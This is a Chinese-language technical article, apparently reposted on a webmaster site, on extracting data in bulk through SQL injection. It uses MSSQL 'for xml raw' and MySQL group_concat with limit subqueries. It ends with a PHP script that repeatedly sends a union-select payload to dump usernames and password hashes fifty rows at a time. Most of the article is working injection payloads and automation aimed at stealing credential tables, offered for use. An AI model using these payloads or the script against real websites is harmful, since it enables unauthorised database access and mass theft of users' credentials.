一、MSSQL获取数据: 用的比较多的就是for xml raw了,MSSQL2000都支持的! 注入中显示数据的两个办法均可以使用,一是union select、二是显错,以MSSQL2005为例: 代码如下:select username from members where 1=2 union select top 3 username from members for xml raw 返回(如果username重复,自动去除重复值): 代码如下: select username from members where 1=(select top 3 username from members for xml raw) 返回: 代码如下: Msg 245, Level 16, State 1, Line 1 Conversion failed when converting the nvarchar value ' 当数据量很大,无webshell,有注入点可以利用的时候,for xml raw 是不错的获取批量数据的办法!为了不让返回的数据量过大,top可以限制小一点,比如100,另外要附加脚本或者程序对返回值进行处理。 二、MYSQL获取数据: 用的比较多的是group_concat,mysql>=4.1支持该函数,可能很多人知道了,但我看过的文章几乎都是用来读table_name或者column_name的,毕竟表名、列名的数据量不大,所以用起来很方便,可以一下子把所有表名或者所有列名读出来。不过用group_concat批量注入读数据的很少,虽然可以提高效率,增快速度。 因为group_concat有个瓶颈,当group_concat与limit连用时,limit不起作用(也许是先执行group_concat),于是group_concat一次性读出很多条数据(取决于group_concat_max_len,默认1024),而一般网站数据量都是很大的。一旦不能与limit连用,怎么获取之后的数据呢? 其实简单变动下SQL语句即可以实现group_concat与limit连用: 代码如下: select concat(group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c)) from (select * from members limit 0,3) A 返回: guest|||admin|||oldjun:084e0343a0486ff05530df6c705c8bb4|||21232f297a57a5a743894a0e4a801fc3|||ad392a36c512176545900fd05772cbc6 于是简单做下字符串处理,前三条数据就出来了。为了返回不至于数据量过大,单次查询100以下一般可以接受的。 三、给出部分示例代码(mysql group_concat 50条数据每次): 代码如下: if ($argc < 3) { print_r(' +---------------------------------------------------------------------------+ Usage: php '.$argv[0].' start end(end: count/50) Example: php '.$argv[0].' 0 9999 Author:oldjun(http://www.oldjun.com) +---------------------------------------------------------------------------+ '); exit; } error_reporting(7); ini_set('max_execution_time', 0); $start = $argv[1]; $over = $argv[2]; for($i=$start;$i<=$over;$i++){ getdata($i); } function getdata($i) { $resp = send($i); if ($resp){ preg_match('#<<<<<<<<<<([^\n]+):([^\n]+)>>>>>>>>>>#', $resp, $value); if($value){ $namearr=explode("|||",$value[1]); $passarr=explode("|||",$value[2]); for($j=0;$j<50;$j++){ echo $namearr[$j]."|||".$passarr[$j]."\r\n"; } unset($namearr); unset($passarr); }else{ echo $resp; echo "value error,return $i\r\n"; getdata($i); } } else{ echo "resp error,return $i\r\n"; getdata($i); } } function send($i) { $limit=$i*50; //发送数据包代码省略 //注入语句示例:union select 1,2,3,4,CONCAT(0x3C3C3C3C3C3C3C3C3C3C,group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c),0x3E3E3E3E3E3E3E3E3E3E) FROM (select * from members limit ".$limit.",50) A# } ?> |
免责声明:本站部分文章和图片均来自用户投稿和网络收集,旨在传播知识,文章和图片版权归原作者及原出处所有,仅供学习与参考,请勿用于商业用途,如果损害了您的权利,请联系我们及时修正或删除。谢谢!
始终以前瞻性的眼光聚焦站长、创业、互联网等领域,为您提供最新最全的互联网资讯,帮助站长转型升级,为互联网创业者提供更加优质的创业信息和品牌营销服务,与站长一起进步!让互联网创业者不再孤独!
扫一扫,关注站长网微信